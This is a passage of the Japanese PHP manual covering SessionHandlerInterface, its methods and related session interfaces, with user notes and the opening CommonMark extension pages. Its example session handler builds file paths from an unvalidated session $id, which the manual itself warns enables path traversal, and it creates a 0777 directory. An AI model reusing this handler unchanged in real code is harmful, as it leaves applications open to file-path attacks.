session_set_save_handler() でオブジェクト指向型のプロトタイプを使っていることと、 シャットダウン関数をその parameter フラグで登録していることに注目しましょう。 オブジェクトをセッション保存ハンドラとして使うときには、この方法をおすすめします。

警告

コードを簡潔にするため、以下の例では入力値の検証を省略しています。 しかし、$id パラメータは パストラバーサル問題のような脆弱性を避けるために、 適切な 検証/無害化 が必須になる値です。 よって、ここで示した例を改変することなく、 本番の実環境で用いないでください

<?php
class MySessionHandler implements SessionHandlerInterface
{
    private $savePath;

    public function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    public function close()
    {
        return true;
    }

    public function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    public function write($id, $data)
    {
        return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    public function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    public function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// $_SESSION への値の設定や格納されている値の取得を進めます

目次

  • SessionHandlerInterface::close — セッションを閉じる
  • SessionHandlerInterface::destroy — セッションを破棄する
  • SessionHandlerInterface::gc — 古いセッションを削除する
  • SessionHandlerInterface::open — セッションを開始する
  • SessionHandlerInterface::read — セッションのデータを読み込む
  • SessionHandlerInterface::write — セッションのデータを書き込む

User Contributed Notes

ohcc at 163 dot com 22-Mar-2020 01:50
If you want to use type declarations in your own session handling class, don't "implements" the SessionHandlerInterface, SessionIdInterface, or SessinUpdateTimestampInterface, otherwise you will get a fatal error saying that declaration of the class method must be compatible with the interface method.

a bad example
<?php
    class SessionWuXianchengHandler implements SessionHandlerInterface {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>

a good example
<?php
    class SessionWuXianchengHandler {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:45
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
ohcc at 163 dot com 16-Dec-2017 04:50
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 08:06
The non-OOP prototype of session_set_save_handler() supports validate_sid and update_timestamp as of PHP 7.0 while the OOP prototype doesn't even in PHP 7.2. However the OOP prototype does support create_sid since PHP 5.5.1.

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.
ohcc at 163 dot com 03-Dec-2017 10:40
As of PHP 5.5.1, another method create_sid() is supported. It will be called when session_regenerate_id() is invoked.

SessionHandlerInterface {
    /* Methods */
    abstract public bool close ( void )
    abstract public bool create_sid ( void )
    abstract public bool destroy ( string $session_id )
    abstract public bool gc ( int $maxlifetime )
    abstract public bool open ( string $save_path , string $session_name )
    abstract public string read ( string $session_id )
    abstract public bool write ( string $session_id , string $session_data )
}
StanE 02-Nov-2015 07:46
I think there is a small "error" in the example of the class MySessionHandler in method gc(). It uses the function filemtime() whose return value is cached by PHP. Add the following line inside the foreach block in the gc() method:

clearstatcache(true, $file);
avenidagez at foro5 dot com 06-Dec-2014 03:54
Note that session_start( ) calls open then read and the class returns true for open and the value of session or empty for read.
Well, then there is no catch for errors, this is, session_start() must return false on failure, but that is not the case for the class implementation on method open, no matter if you return true or false or whatever from open, it is ignored by session_start() function and proceeds to read method
A bug?, if open returns false, session_start() should stop the next step (read) and return itself false

if(session_start()) ...code
else exit( );

So forget about session_start() return value, you need to implement an error catch routine and exit() in case of failure on open method
warxcell at gmail dot com 21-Sep-2012 11:12
You should prepend <b>\</b> before class name, to tell php its from root namespace.


セッションを閉じる

  • ≪ SessionHandlerInterface
  • SessionHandlerInterface::destroy ≫
  • PHP Manual
  • SessionHandlerInterface
  • セッションを閉じる

SessionHandlerInterface::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::close — セッションを閉じる

説明

abstract public SessionHandlerInterface::close ( ) : bool

現在のセッションを閉じます。この関数はセッションを閉じるときに自動的に実行されます。 あるいは、明示的に session_write_close() 経由で実行することもできます。

パラメータ

この関数にはパラメータはありません。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

User Contributed Notes

svenr at selfhtml dot org 30-Apr-2013 09:29
This method should release the exclusive lock that was acquired by the open() method.

Note that this will effectively serialize parallel requests, which affects performance for a single user session.

Not locking the resource would on the other hand allow for race conditions if two or more parallel requests change the session data.


セッションを破棄する

  • ≪ SessionHandlerInterface::close
  • SessionHandlerInterface::gc ≫
  • PHP Manual
  • SessionHandlerInterface
  • セッションを破棄する

SessionHandlerInterface::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::destroy — セッションを破棄する

説明

abstract public SessionHandlerInterface::destroy ( string $id ) : bool

セッションを破棄します。session_regenerate_id() ($destroy = true) や session_destroy() からコールされ、session_decode() が失敗したときにもコールされます。

パラメータ

id

破棄するセッション ID。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

User Contributed Notes

There are no user contributed notes for this page.


古いセッションを削除する

  • ≪ SessionHandlerInterface::destroy
  • SessionHandlerInterface::open ≫
  • PHP Manual
  • SessionHandlerInterface
  • 古いセッションを削除する

SessionHandlerInterface::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::gc — 古いセッションを削除する

説明

abstract public SessionHandlerInterface::gc ( int $max_lifetime ) : int|bool

有効期限を過ぎたセッションを削除します。 session.gc_divisor、 session.gc_probability および session.gc_maxlifetime の設定に基づいて、 session_start() からコールされます。

パラメータ

max_lifetime

直近の max_lifetime 秒の間に更新されていないセッションを削除します。

返り値

成功時に、削除したセッションの数を返します。 失敗した場合に false を返します この値は、処理を続けるために PHP の内部にも返される点に注意して下さい。

変更履歴

バージョン | 説明
7.1.0 | これより前のバージョンでは、この関数は成功時に true を返していました。

User Contributed Notes

There are no user contributed notes for this page.


セッションを開始する

  • ≪ SessionHandlerInterface::gc
  • SessionHandlerInterface::read ≫
  • PHP Manual
  • SessionHandlerInterface
  • セッションを開始する

SessionHandlerInterface::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::open — セッションを開始する

説明

abstract public SessionHandlerInterface::open ( string $path , string $name ) : bool

既存のセッションを再度初期化するか、あるいは新しいセッションを作成します。 セッションが開始したり session_start() が実行されたりしたときにコールされます。

パラメータ

path

セッションを格納/取得するパス。

name

セッション名。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

参考

  • session_name() - 現在のセッション名を取得または設定する
  • session.auto-start

User Contributed Notes

tony at marston-home dot demon dot co dot uk 11-Jun-2018 06:31
Note that once $sessionName has been used to provide a value for $sessionId from the cookie data it is totally redundant as all further reading and writing of the session data is controlled by $sessionId.

If, for any reason, it becomes necessary to identify the value for $sessionName which is associated with the current $sessionId then you should use the value that was passed on the open() method. Attempting to use a value from an alternative source could have unexpected side effects.
narf at devilix dot net 28-Aug-2014 03:49
The suggestion that you should free the lock as soon as possible is WRONG (and for some reason, I can't downvote it right now).

Releasing the lock before the write() call is as effective as not using locks at all. The whole point is that a concurrent read() HAS to be blocked until the session is closed, otherwise you'll have race conditions.

If you care about the performance aspect, you should take care to call session_write_close() as soon as possible instead.


セッションのデータを読み込む

  • ≪ SessionHandlerInterface::open
  • SessionHandlerInterface::write ≫
  • PHP Manual
  • SessionHandlerInterface
  • セッションのデータを読み込む

SessionHandlerInterface::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::read — セッションのデータを読み込む

説明

abstract public SessionHandlerInterface::read ( string $id ) : string

セッションのデータをセッションストレージから読み込み、その結果を返します。 セッションを開始した直後、あるいは session_start() を実行したときにコールされます。 このメソッドがコールされる直前に SessionHandlerInterface::open() が実行されることに注意しましょう。

このメソッドは、セッションが開始するときに PHP 自身がコールします。 このメソッドは、指定したセッション ID のセッションデータをストレージから取得しなければなりません。 返す文字列の書式は、SessionHandlerInterface::write() に渡されたものと同様にシリアライズされたものでなければなりません。 データが見つからない場合は空文字列を返します。

このメソッドが返すデータは、PHP が内部的にデコードします。デコードに使うメソッドは session.serialize_handler で指定します。デコードした結果をスーパーグローバル $_SESSION に格納します。

シリアライズ方式は unserialize() とは異なっており、アクセスするためには session_decode() を使うことに注意しましょう。

パラメータ

id

セッション id。

返り値

読み込んだデータをエンコードした文字列を返します。 何も読まなかった場合は空文字列を返さなければなりません。 この値は、PHP が内部的に使うためだけのものであることに注意しましょう。

参考

  • session.serialize_handler

User Contributed Notes

There are no user contributed notes for this page.


セッションのデータを書き込む

  • ≪ SessionHandlerInterface::read
  • SessionIdInterface ≫
  • PHP Manual
  • SessionHandlerInterface
  • セッションのデータを書き込む

SessionHandlerInterface::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::write — セッションのデータを書き込む

説明

abstract public SessionHandlerInterface::write ( string $id , string $data ) : bool

セッションのデータをセッションストレージに書き込みます。
session_write_close() からコールされ、
session_register_shutdown() が失敗したときや通常のシャットダウン時にもコールされます。
SessionHandlerInterface::close() がこの関数の直後にコールされることに注意しましょう。

PHP は、セッションの保存と終了の準備ができたときにこのメソッドをコールします。 スーパーグローバル $_SESSION のセッションデータをエンコードして 文字列にシリアライズし、セッション ID とともにこのメソッドに渡して格納させます。 シリアライズの方式は session.serialize_handler で設定します。

このメソッドが PHP からコールされるのは、通常は出力バッファが閉じた後であることに注意しましょう。ただし、 明示的に session_write_close() をコールした場合は別です。

パラメータ

id

セッション id。

data

エンコードされたセッションデータ。 これは、PHP がスーパーグローバル $_SESSION の内容を内部的にシリアライズした結果の文字列で、それがこのパラメータに渡されます。 セッションのシリアライズには通常とは別の方式を使っていることに注意しましょう。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

参考

  • session.serialize_handler

User Contributed Notes

Aeric Poon 06-Apr-2019 05:37
Warning: session_write_close(): Session callback expects true/false return value in Unknown on line 0

I have returned TRUE in write() but the warning still persist. Then I also return TRUE in close() and the warning is gone.
jotremb at hotmail dot com 24-Jan-2017 04:46
It is important to note that if returning FALSE from this method, PHP will in turn output the following warning:

Warning: Unknown: Failed to write session data (user). Please verify that the current setting of session.save_path is correct (/var/lib/php/session) in Unknown on line 0.

This could cause minor inconveniences, however if the session should not be written as per design, then returning TRUE after handling (and not writing) the session will avoid further issues.

All in all, better return TRUE at all times except in cases of hard errors.
barkoczi dot roland at aercode dot com 15-May-2015 12:46
Note: this function won't be called in case $session_data is unchanged. In order to call this function every time when session is about closing, add $_SESSION["timestamp"] = time();


SessionIdInterface クラス

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

はじめに

SessionIdInterface は カスタムのセッションハンドラを作成するためのオプションのメソッドを定義します。 オブジェクト指向型 の呼び出しを使い、 カスタムのセッションハンドラを session_set_save_handler() に渡すために、 このインターフェイスを実装することができます。

このクラスのコールバックメソッドは PHP が内部的にコールするものであり、 ユーザーのコードから呼ばれることは想定していないことに注意しましょう。

クラス概要

SessionIdInterface {
/* メソッド */
abstract public create_sid ( ) : string
}

目次

  • SessionIdInterface::create_sid — セッションIDを作成する

User Contributed Notes

ohcc at 163 dot com 31-May-2020 05:34
create_sid() is called when a new session id is needed.

Such as:

0. With PHP's  default session handler, when session.use_strict_mode is turned on, if a session id provided by the client doesn't exist on the server, create_sid() is called to generate a new session id.

1. When validateId() is provided and it returns false, create_sid() is called to generate a new session id.

2. When session_regenerate_id() is called, create_sid() is called to generate a new session id.


セッションIDを作成する

  • ≪ SessionIdInterface
  • SessionUpdateTimestampHandlerInterface ≫
  • PHP Manual
  • SessionIdInterface
  • セッションIDを作成する

SessionIdInterface::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionIdInterface::create_sid — セッションIDを作成する

説明

abstract public SessionIdInterface::create_sid ( ) : string

新しい セッションID を生成します。 この関数は、新しい セッションID を生成する必要がある場合に自動的に実行されます。

パラメータ

この関数にはパラメータはありません。

返り値

新しい セッションID を返します。 この値は、PHP が処理を行うために内部的に返す値であることに注意して下さい。

参考

  • SessionHandler::create_sid() - 新規セッション ID を返す

User Contributed Notes

There are no user contributed notes for this page.


SessionUpdateTimestampHandlerInterface クラス

(PHP 7, PHP 8)

はじめに

SessionUpdateTimestampHandlerInterface は カスタムセッションハンドラを作成する際の最低限のプロトタイプを定義したインターフェイスです。 自作のセッションハンドラを オブジェクト指向型 の起動方法で session_set_save_handler() に渡すために、このインターフェイスを実装することができます。

このクラスのコールバックメソッドは PHP が内部的にコールするものであり、 ユーザーのコードから呼ばれることは想定していないことに注意しましょう。

クラス概要

SessionUpdateTimestampHandlerInterface {
/* メソッド */
abstract public updateTimestamp ( string $id , string $data ) : bool
abstract public validateId ( string $id ) : bool
}

目次

  • SessionUpdateTimestampHandlerInterface::updateTimestamp — タイムスタンプを更新する
  • SessionUpdateTimestampHandlerInterface::validateId — セッションIDを検証する

User Contributed Notes

Anonymous 24-Nov-2019 11:02
There is a bit of documentation provided by Wu Xiancheng. See his comment in the SessionHandlerInterface section:
https://www.php.net/manual/en/class.sessionhandlerinterface.php#122032


タイムスタンプを更新する

  • ≪ SessionUpdateTimestampHandlerInterface
  • SessionUpdateTimestampHandlerInterface::validateId ≫
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • タイムスタンプを更新する

SessionUpdateTimestampHandlerInterface::updateTimestamp

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::updateTimestamp — タイムスタンプを更新する

説明

abstract public SessionUpdateTimestampHandlerInterface::updateTimestamp ( string $id , string $data ) : bool

セッションが最後に変更されたタイムスタンプを更新します。 この関数はセッションが更新された場合に自動的に実行されます。

パラメータ

id

セッションID

data

セッションデータ

返り値

タイムスタンプが更新されたら true を、 そうでなければ false を返します。 この値は、PHP が処理を行うために内部的に返す値であることに注意して下さい。

User Contributed Notes

ohcc at 163 dot com 31-May-2020 04:24
When session.lazy_write is enabled, which is the default behaviour, session data will NOT be UPDATED if it remains unchanged, in this way the WRITE method of the session handler will not be called at all.

If your session handler storages session data into files, UpdateTimestamp is used to update the "last modified time" of the session file, if your session handler storages session data into a database, UpdateTimestamp is used to update the table field that storages the last modified time of the session registry.
ohcc at 163 dot com 23-Mar-2020 10:26
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


セッションIDを検証する

  • ≪ SessionUpdateTimestampHandlerInterface::updateTimestamp
  • テキスト処理 ≫
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • セッションIDを検証する

SessionUpdateTimestampHandlerInterface::validateId

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::validateId — セッションIDを検証する

説明

abstract public SessionUpdateTimestampHandlerInterface::validateId ( string $id ) : bool

与えられた セッションID を検証します。 そのID を持つセッションが既に存在している場合、セッションID は有効です。 この関数はセッションが開始されようとしている時に、 セッションID が与えられ、かつ session.use_strict_mode が有効な場合に自動的に実行されます。

パラメータ

id

セッションID

返り値

セッションIDが正しければ true を、そうでなければ false を返します。 この値は、PHP が処理を行うために内部的に返す値であることに注意して下さい。

User Contributed Notes

ohcc at 163 dot com 31-May-2020 04:45
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


テキスト処理

  • CommonMark
    • はじめに
    • インストール/設定
    • CommonMark\Node\Document — Document concrete CommonMark\Node
    • CommonMark\Node\Heading — Heading concrete CommonMark\Node
    • CommonMark\Node\Paragraph — Paragraph concrete CommonMark\Node
    • CommonMark\Node\BlockQuote — BlockQuote concrete CommonMark\Node
    • CommonMark\Node\BulletList — BulletList concrete CommonMark\Node
    • CommonMark\Node\OrderedList — OrderedList concrete CommonMark\Node
    • CommonMark\Node\Item — Item concrete CommonMark\Node
    • CommonMark\Node\Text — Text concrete CommonMark\Node
    • CommonMark\Node\Text\Strong — Strong concrete CommonMark\Node
    • CommonMark\Node\Text\Emphasis — Emphasis concrete CommonMark\Node
    • CommonMark\Node\ThematicBreak — ThematicBreak concrete CommonMark\Node
    • CommonMark\Node\SoftBreak — SoftBreak concrete CommonMark\Node
    • CommonMark\Node\LineBreak — LineBreak concrete CommonMark\Node
    • CommonMark\Node\Code — Code concrete CommonMark\Node
    • CommonMark\Node\CodeBlock — CodeBlock concrete CommonMark\Node
    • CommonMark\Node\HTMLBlock — HTMLBlock concrete CommonMark\Node
    • CommonMark\Node\HTMLInline — HTMLInline concrete CommonMark\Node
    • CommonMark\Node\Image — Image concrete CommonMark\Node
    • CommonMark\Node\Link — Link concrete CommonMark\Node
    • CommonMark\Node\CustomBlock — CustomBlock concrete CommonMark\Node
    • CommonMark\Node\CustomInline — CustomInline concrete CommonMark\Node
    • CommonMark\Node — Abstract CommonMark\Node
    • CommonMark\Interfaces\IVisitor — The CommonMark\Interfaces\IVisitor interface
    • CommonMark\Interfaces\IVisitable — The CommonMark\Interfaces\IVisitable interface
    • CommonMark\Parser — The CommonMark\Parser class
    • CommonMark\CQL — The CommonMark\CQL class
    • CommonMark 関数
  • Parle — Parsing and lexing
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Pattern matching — Parle pattern matching
    • 例
    • Parle\Lexer — The Parle\Lexer class
    • Parle\RLexer — The Parle\RLexer class
    • Parle\Parser — The Parle\Parser class
    • Parle\RParser — The Parle\RParser class
    • Parle\Stack — The Parle\Stack class
    • Parle\Token — The Parle\Token class
    • Parle\ErrorInfo — The Parle\ErrorInfo class
    • Parle\LexerException — The Parle\LexerException class
    • Parle\ParserException — The Parle\ParserException class
  • PCRE — 正規表現 (Perl 互換)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • PCRE のパターン
    • PCRE 関数
  • POSIX Regex — 正規表現 (POSIX 拡張)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • POSIX 正規表現関数
  • ssdeep — ssdeep Fuzzy Hashing
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ssdeep 関数
  • 文字列
    • はじめに
    • インストール/設定
    • 定義済み定数
    • String 関数
    • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


CommonMark

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
  • CommonMark\Node\Document — Document concrete CommonMark\Node
  • CommonMark\Node\Heading — Heading concrete CommonMark\Node
    • CommonMark\Node\Heading::__construct — Heading Construction
  • CommonMark\Node\Paragraph — Paragraph concrete CommonMark\Node
  • CommonMark\Node\BlockQuote — BlockQuote concrete CommonMark\Node
  • CommonMark\Node\BulletList — BulletList concrete CommonMark\Node
    • CommonMark\Node\BulletList::__construct — BulletList Construction
  • CommonMark\Node\OrderedList — OrderedList concrete CommonMark\Node
    • CommonMark\Node\OrderedList::__construct — OrderedList Construction
  • CommonMark\Node\Item — Item concrete CommonMark\Node
  • CommonMark\Node\Text — Text concrete CommonMark\Node
    • CommonMark\Node\Text::__construct — Text Construction
  • CommonMark\Node\Text\Strong — Strong concrete CommonMark\Node
  • CommonMark\Node\Text\Emphasis — Emphasis concrete CommonMark\Node
  • CommonMark\Node\ThematicBreak — ThematicBreak concrete CommonMark\Node
  • CommonMark\Node\SoftBreak — SoftBreak concrete CommonMark\Node
  • CommonMark\Node\LineBreak — LineBreak concrete CommonMark\Node
  • CommonMark\Node\Code — Code concrete CommonMark\Node
  • CommonMark\Node\CodeBlock — CodeBlock concrete CommonMark\Node
    • CommonMark\Node\CodeBlock::__construct — CodeBlock Construction
  • CommonMark\Node\HTMLBlock — HTMLBlock concrete CommonMark\Node
  • CommonMark\Node\HTMLInline — HTMLInline concrete CommonMark\Node
  • CommonMark\Node\Image — Image concrete CommonMark\Node
    • CommonMark\Node\Image::__construct — Image Construction
  • CommonMark\Node\Link — Link concrete CommonMark\Node
    • CommonMark\Node\Link::__construct — Link Construction
  • CommonMark\Node\CustomBlock — CustomBlock concrete CommonMark\Node
  • CommonMark\Node\CustomInline — CustomInline concrete CommonMark\Node
  • CommonMark\Node — Abstract CommonMark\Node
    • CommonMark\Node::appendChild — AST Manipulation
    • CommonMark\Node::prependChild — AST Manipulation
    • CommonMark\Node::insertAfter — AST Manipulation
    • CommonMark\Node::insertBefore — AST Manipulation
    • CommonMark\Node::replace — AST Manipulation
    • CommonMark\Node::unlink — AST Manipulation
    • CommonMark\Node::accept — Visitation
  • CommonMark\Interfaces\IVisitor — The CommonMark\Interfaces\IVisitor interface
    • CommonMark\Interfaces\IVisitor::enter — Visitation
    • CommonMark\Interfaces\IVisitor::leave — Visitation
  • CommonMark\Interfaces\IVisitable — The CommonMark\Interfaces\IVisitable interface
    • CommonMark\Interfaces\IVisitable::accept — Visitation
  • CommonMark\Parser — The CommonMark\Parser class
    • CommonMark\Parser::__construct — Parsing
    • CommonMark\Parser::parse — Parsing
    • CommonMark\Parser::finish — Parsing
  • CommonMark\CQL — The CommonMark\CQL class
    • CommonMark\CQL::__construct — CQL Construction
    • CommonMark\CQL::__invoke — CQL Execution
  • CommonMark 関数
    • CommonMark\Parse — Parsing
    • CommonMark\Render — Rendering
    • CommonMark\Render\HTML — Rendering
    • CommonMark\Render\Latex — Rendering
    • CommonMark\Render\Man — Rendering
    • CommonMark\Render\XML — Rendering

User Contributed Notes

There are no user contributed notes for this page.


はじめに

This extension provides access to the reference implementation of CommonMark, a rationalized version of Markdown syntax with a specification.

Parsing:

The CommonMark extension provides a simple parsing API:

CommonMark\Parse ( string $content , int $options = ? ) : CommonMark\Node

Rendering:

The CommonMark extension provides simple rendering API that supports multiple formats:

CommonMark\Render ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string
CommonMark\Render\HTML ( CommonMark\Node $node , int $options = ? ) : string
CommonMark\Render\XML ( CommonMark\Node $node , int $options = ? ) : string
CommonMark\Render\Man ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string
CommonMark\Render\Latex ( CommonMark\Node $node , int $options = ? , int $width = ? ) : string

AST:

The CommonMark extension implements visitation for CommonMark\Node objects:

public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void

CQL:

The CommonMark extension provides an interface to CQL, CommonMark Query Language:

public CommonMark\CQL::__construct ( string $query )

User Contributed Notes

There are no user contributed notes for this page.


要件

The CommonMark extension requires the (C) reference implementation of » cmark.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

The CommonMark extension releases are hosted by PECL and source is hosted on » github, the easiest route to installation is the normal PECL route: » https://pecl.php.net/package/cmark.

Windows users can download prebuilt release binaries from the » PECL website.

警告

Windows users need to take the additional step of adding cmark.dll (distributed with Windows releases) to their PATH.

User Contributed Notes

There are no user contributed notes for this page.


Document concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Document extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Heading concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Heading extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public int $level ;
/* Constructor */
public __construct ( )
public __construct ( int $level )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\Heading::__construct — Heading Construction

User Contributed Notes

There are no user contributed notes for this page.


Heading Construction

  • ≪ CommonMark\Node\Heading
  • CommonMark\Node\Paragraph ≫
  • PHP Manual
  • CommonMark\Node\Heading
  • Heading Construction

CommonMark\Node\Heading::__construct

(cmark >= 1.0.0)

CommonMark\Node\Heading::__construct — Heading Construction

説明

public CommonMark\Node\Heading::__construct ( )
public CommonMark\Node\Heading::__construct ( int $level )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Paragraph concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Paragraph extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


BlockQuote concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\BlockQuote extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
